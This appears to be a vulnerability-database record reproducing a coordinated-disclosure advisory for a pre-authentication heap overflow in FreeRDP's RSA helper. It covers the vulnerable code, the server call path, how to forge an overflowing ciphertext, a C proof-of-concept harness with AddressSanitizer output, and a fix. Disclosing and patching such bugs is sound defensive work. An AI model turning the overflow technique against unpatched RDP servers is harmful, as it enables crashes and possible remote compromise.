Heap buffer overflow in FreeRDP RSA helper before authentication
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- —
- Confidentiality · integrity · availability
- —
- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
FreeRDP up to and including 3.27.1 contains a heap-based buffer overflow (CWE-122) in its RSA helper crypto_rsa_common. The function writes the decrypted client random into a 32-byte buffer before it checks the output length. An unauthenticated remote attacker can overflow the heap on servers that accept RDP Standard Security, before any authentication takes place.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
## Summary FreeRDP's RSA helper `crypto_rsa_common()` (`libfreerdp/crypto/crypto.c`) serialises the modular-exponentiation result into the caller's output buffer with `output_length = BN_bn2bin(y, output)` **and only then** checks `output_length > out_length`. `BN_bn2bin` writes `BN_num_bytes(y)` bytes unconditionally, so the bounds check at `crypto.c:109` runs one statement **after** the out-of-bounds bytes are already on the heap. On the **server** side this is reachable **pre-authentication**. When a client selects RDP Standard Security, `rdp_server_establish_keys()` → `rdp_update_client_random()` decrypts the client-supplied *encrypted client random* into a hard-coded **32-byte** `ClientRandom` buffer (`connection.c:885` / `:904`, `out_length = 32`). The server publishes its RSA public key `(n,e)` in the Proprietary Server Certificate, so an unauthenticated attacker can forge a ciphertext `X = Y^e mod n` whose decryption `Y` is up to the full modulus length (256 bytes for RSA-2048). `BN_bn2bin` then writes that value into the 32-byte buffer, overflowing the heap by up to **~224 fully attacker-controlled bytes** before any authentication. ## Severity **High** — CWE-787 (Out-of-bounds Write) via CWE-697 (comparison performed after the write instead of before). Pre-authentication, no user interaction, network-reachable on FreeRDP-based servers that permit RDP Standard Security (sample `sfreerdp-server`, `freerdp-shadow-cli`, proxy). The attacker controls the overflow **length and content**, and the write is repeatable across reconnects (heap grooming). High rather than Critical because control-flow hijack is not demonstrated here. ## Affected versions - **FreeRDP 3.x** — present in the latest release tag **3.27.1** and on `master` (HEAD `1f7a716d39b5605bb8a83b0c3c97a6ce386609ef`, reproduced 2026-07-01). In both, `BN_bn2bin(y, output)` is at `libfreerdp/crypto/crypto.c:106` and the `> out_length` check at `:109`; the 32-byte caller buffer is fixed at `libfreerdp/core/connection.c:885`. Unpatched. Because the bug is in a released 3.x tag (not development-branch-only), it qualifies for a CVE under the project's supported-versions policy. - No special build flags required. The overflow occurs for any RSA key with a modulus larger than 32 bytes — i.e. always (the built-in test key is 2048-bit; real keys are ≥512-bit). ### Relationship to CVE-2020-13398 This is the **same function** as CVE-2020-13398 / GHSL-2020-102, but a distinct, still-live defect. That 2020 issue concerned the **input** buffer handling; at the time the function had no `out_length` parameter at all. The `out_length` parameter and the `output_length > out_length` check were added later — but placed **after** the `BN_bn2bin` write, so the output-buffer overflow remains reachable. We did not find any advisory describing this write-then-check ordering on the output buffer; it appears unpublished. (Nearby but unrelated: CVE-2026-33982 winpr realloc OOB read; GHSA-8jm9-2925-g4v2 persistent cache.) ## Details ### Vulnerable code `libfreerdp/crypto/crypto.c`, `crypto_rsa_common()`: ```c if (BN_mod_exp(y, x, exp, mod, ctx) != 1) // :104 y = x^d mod n (attacker-chosen) goto fail; output_length = BN_bn2bin(y, output); // :106 writes BN_num_bytes(y) bytes into `output` NOW if (output_length < 0) goto fail; if (WINPR_ASSERTING_INT_CAST(size_t, output_length) > out_length) // :109 bounds check — AFTER the write goto fail; crypto_reverse(output, WINPR_ASSERTING_INT_CAST(size_t, output_length)); ``` `output` / `out_length` are the caller's buffer and its capacity. `BN_bn2bin(y, output)` serialises the bignum `y` into `output`, writing exactly `BN_num_bytes(y)` bytes — anywhere from 1 up to the RSA modulus length. That count is compared to `out_length` only at `:109`, one statement too late. There is no scratch buffer and no pre-write check. ### Attacker control over `BN_num_bytes(y)` `y = x^d mod n`, where `x` is the attacker's ciphertext and `d`/`n` are the server's private exponent / modulus. The attacker does not know `d`, but the server publishes `(n,e)` in its Proprietary Server Certificate. So the attacker chooses an arbitrary plaintext `Y` (e.g. a full-modulus-width value) and sends `X = Y^e mod n`; the server's decryption recovers exactly `Y`. The attacker thus controls **both the length and the content** of the overflow. ### The caller supplies a fixed 32-byte buffer `libfreerdp/core/connection.c`, `rdp_update_client_random()`: ```c const size_t length = 32; // :885 hard-coded, independent of key size ... if (crypt_random_len != cinfo->ModulusLength + 8) // :894 attacker sets the wire length field return FALSE; if (!freerdp_settings_set_pointer_len(settings, FreeRDP_ClientRandom, nullptr, length)) // :899 alloc 32 bytes return FALSE; BYTE* client_random = freerdp_settings_get_pointer_writable(settings, FreeRDP_ClientRandom); // :902 return crypto_rsa_private_decrypt(crypt_random, crypt_random_len - 8, rsa, client_random, length); // :904 out_length = 32 ``` ### Root cause `BN_num_bytes(y)` is never compared against `out_length` *before* `BN_bn2bin` writes into `output`. The existing `> out_length` check executes only after the overflow has occurred. ### Server-side, pre-authentication call path ``` peer_recv_pdu (server state machine) rdp_server_establish_keys(rdp, s) libfreerdp/core/peer.c:913 (if settings->UseRdpSecurityLayer) libfreerdp/core/connection.c:918 ... read Security Exchange PDU, rand_len ... connection.c:908+ rdp_update_client_random(settings, crypt_random, rand_len) connection.c:953 crypto_rsa_private_decrypt(crypt_random, ModulusLength, rsa, client_random /*32B*/, 32) connection.c:904 crypto_rsa_private -> crypto_rsa_common(..., output=client_random, out_length=32) crypto.c:148 BN_bn2bin(y, output) crypto.c:106 <-- OVERFLOW (up to ModulusLength bytes) ``` `UseRdpSecurityLayer` is enabled by the server's negotiation code when the client advertises / falls back to `PROTOCOL_RDP` in the X.224 Connection Request — a choice the client makes unilaterally, pre-authentication. ## Impact An unauthenticated network attacker who connects to a FreeRDP-based server that permits RDP Standard Security can trigger a heap out-of-bounds write of up to ~224 bytes, with attacker-controlled length and content, during key establishment — before any credential check. This corrupts adjacent heap allocations / allocator metadata; because the content and length are controlled and the write is repeatable across reconnects (enabling grooming), it is a strong corruption primitive and a credible path toward remote code execution, though control-flow hijack is not demonstrated here. Guaranteed impact is at minimum a remote pre-auth server crash (DoS). → **High**. Server-side install base is smaller than client-side, but FreeRDP-derived servers (shadow, proxy, embedded appliances) are exposed on the public internet. Workaround until patched: require TLS/NLA (`PROTOCOL_SSL` / `PROTOCOL_HYBRID`) and disable RDP Standard Security so `UseRdpSecurityLayer` is never set and `rdp_server_establish_keys` returns early. ## Proof of Concept Self-contained Docker reproducer. Because the overflowing store happens inside libcrypto's `BN_bn2bin`, it builds **OpenSSL from source under AddressSanitizer** (the distro libcrypto is not instrumented and would hide the write), plus FreeRDP static libs under ASan at the affected commit. The harness drives the **real upstream `crypto_rsa_private_decrypt`** with exactly the arguments the server passes from `rdp_update_client_random()` (`out_length = 32`, ciphertext forged with FreeRDP's own `crypto_rsa_public_encrypt` so the bytes are wire-faithful). Standing up a full malicious RDP handshake (X.224 → MCS/GCC → parse the server cert → forge the Security Exchange PDU) was out of proportion to the harness budget; the pre-auth reachability is established by the shipped server state machine above (`peer.c:913` → `connection.c:953` → `:904`) and is not in doubt — only not exercised end-to-end in-container. **`harness.c`** (essential logic) ```c /* Reproduces the primitive rdp_update_client_random() drives pre-auth: * decrypt an attacker ciphertext into a fixed 32-byte buffer. */ #include <freerdp/crypto/crypto.h> #include <freerdp/crypto/privatekey.h> extern const rdpCertInfo* freerdp_key_get_info(const rdpPrivateKey* key); extern SSIZE_T crypto_rsa_public_encrypt(const BYTE*, size_t, const rdpCertInfo*, BYTE*, size_t); extern SSIZE_T crypto_rsa_private_decrypt(const BYTE*, size_t, const rdpPrivateKey*, BYTE*, size_t); int main(int argc, char** argv) { rdpPrivateKey* key = freerdp_key_new_from_file(argc > 1 ? argv[1] : "/tmp/key.pem"); const rdpCertInfo* info = freerdp_key_get_info(key); const size_t ML = info->ModulusLength; /* 256 for RSA-2048 */ /* Plaintext Y occupying >32 bytes; first OOB store lands on the 32-byte * buffer's ASan redzone. (Filling all ML bytes reproduces the full ~224B * overwrite.) */ BYTE* Y = calloc(ML, 1); for (size_t i = 0; i < 33; i++) Y[i] = 0xAB; /* Forge the wire ciphertext X = Y^e mod n with FreeRDP's own public-key op. */ BYTE* X = malloc(ML); crypto_rsa_public_encrypt(Y, ML, info, X, ML); BYTE* client_random = malloc(32); /* == the ClientRandom buffer */ /* out_length = 32, exactly as rdp_update_client_random() passes it. */ crypto_rsa_private_decrypt(X, ML, key, client_random, 32); /* BN_bn2bin writes ML bytes -> overflow */ return 0; } ``` **`Dockerfile`** (outline) ```dockerfile FROM ubuntu:24.04 ENV DEBIAN_FRONTEND=noninteractive ARG TARGET_COMMIT=1f7a716d39b5605bb8a83b0c3c97a6ce386609ef ARG OPENSSL_TAG=openssl-3.0.13 ARG CLANG_VERSION=20 # clang-20 from apt.llvm.org; ASAN flags: -g -fno-omit-frame-pointer -O1 -fsanitize=address # 1) OpenSSL from source, static, with ASan (so BN_bn2bin is instrumented) RUN git clone --branch ${OPENSSL_TAG} --depth 1 https://github.com/openssl/openssl /src/openssl # ./Configure ... -fsanitize=address && make # 2) FreeRDP static libs with ASan at the affected commit RUN git clone https://github.com/freerdp/freerdp /src/repo && cd /src/repo && git checkout ${TARGET_COMMIT} # cmake -DBUILD_SHARED_LIBS=OFF ... link against the ASan OpenSSL # 3) generate an RSA-2048 server key, build harness.c, run it CMD ["/bin/sh","-c","/tmp/poc_run /tmp/key.pem 2>&1; echo EXIT=$?"] ``` (The full, runnable `Dockerfile`, `Dockerfile.fix`, and `harness.c` accompany this report.) **Observed output at master `1f7a716d` (AddressSanitizer):** ``` [*] RSA ModulusLength = 256 bytes [*] crypto_rsa_public_encrypt -> 256 [*] calling crypto_rsa_private_decrypt(input=256 bytes, out_buf=32) ... ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b4d0b208410 ... WRITE of size 1 at 0x7b4d0b208410 thread T0 #0 ... in bn2binpad /src/openssl/crypto/bn/bn_lib.c:523:19 #1 ... in BN_bn2bin /src/openssl/crypto/bn/bn_lib.c:541:12 #2 ... in crypto_rsa_common /src/repo/libfreerdp/crypto/crypto.c:106:18 #3 ... in crypto_rsa_private /src/repo/libfreerdp/crypto/crypto.c:148:9 #4 ... in main /tmp/harness.c 0x7b4d0b208410 is located 0 bytes after 32-byte region [0x7b4d0b2083f0,0x7b4d0b208410) <-- the 32-byte ClientRandom analogue SUMMARY: AddressSanitizer: heap-buffer-overflow /src/openssl/crypto/bn/bn_lib.c:523:19 in bn2binpad ==7==ABORTING EXIT=134 ``` ## Suggested fix Bound `BN_num_bytes(y)` against `out_length` **before** the write: ```diff if (BN_mod_exp(y, x, exp, mod, ctx) != 1) goto fail; + /* BN_bn2bin writes BN_num_bytes(y) bytes unconditionally; bound it BEFORE the write. */ + if ((size_t)BN_num_bytes(y) > out_length) + goto fail; output_length = BN_bn2bin(y, output); if (output_length < 0) goto fail; - if (WINPR_ASSERTING_INT_CAST(size_t, output_length) > out_length) - goto fail; ``` Equivalently, `BN_bn2bin` into a modulus-sized scratch buffer and `memcpy` at most `out_length` bytes into the caller's buffer. **Fix-verified:** with the pre-write guard the same PoC returns `-1` with no ASan report and `EXIT=0`. ## References - `libfreerdp/crypto/crypto.c:106` (`crypto_rsa_common`, `BN_bn2bin` before the `:109` bounds check); `crypto_rsa_private` (:148); `crypto_rsa_private_decrypt` (:170). - `libfreerdp/core/connection.c:885` (`length = 32`), `:894/:899/:902/:904` (`rdp_update_client_random`), `:908/:918/:953` (`rdp_server_establish_keys`); `libfreerdp/core/peer.c:913` (server entry). - CVE-2020-13398 / GHSL-2020-102 (same function, distinct input-side issue): https://securitylab.github.com/advisories/GHSL-2020-102-FreeRDP/ - CWE-787 (Out-of-bounds Write), CWE-697 (Incorrect Comparison). ## Attribution please credit **Claude** and **Ada Logics** — found by Anthropic using agents to study the security of open-source projects, with Ada Logics validating and reporting. ## Disclosure This report follows a 90-day coordinated disclosure timeline as per https://www.anthropic.com/coordinated-vulnerability-disclosure
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP | <=3.27.1 | 3.28.0 | Patch available | GHSA-pjqx-v446-x7fc |
- FreeRDP Vendor— Affected <=3.27.1 Fixed in 3.28.0 Patch available GHSA-pjqx-v446-x7fc
Remediation
Upgrade FreeRDP to 3.28.0, the fixed version.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-pjqx-v446-x7fc FreeRDP Fixed in 3.28.0 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-pjqx-v446-x7fc
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences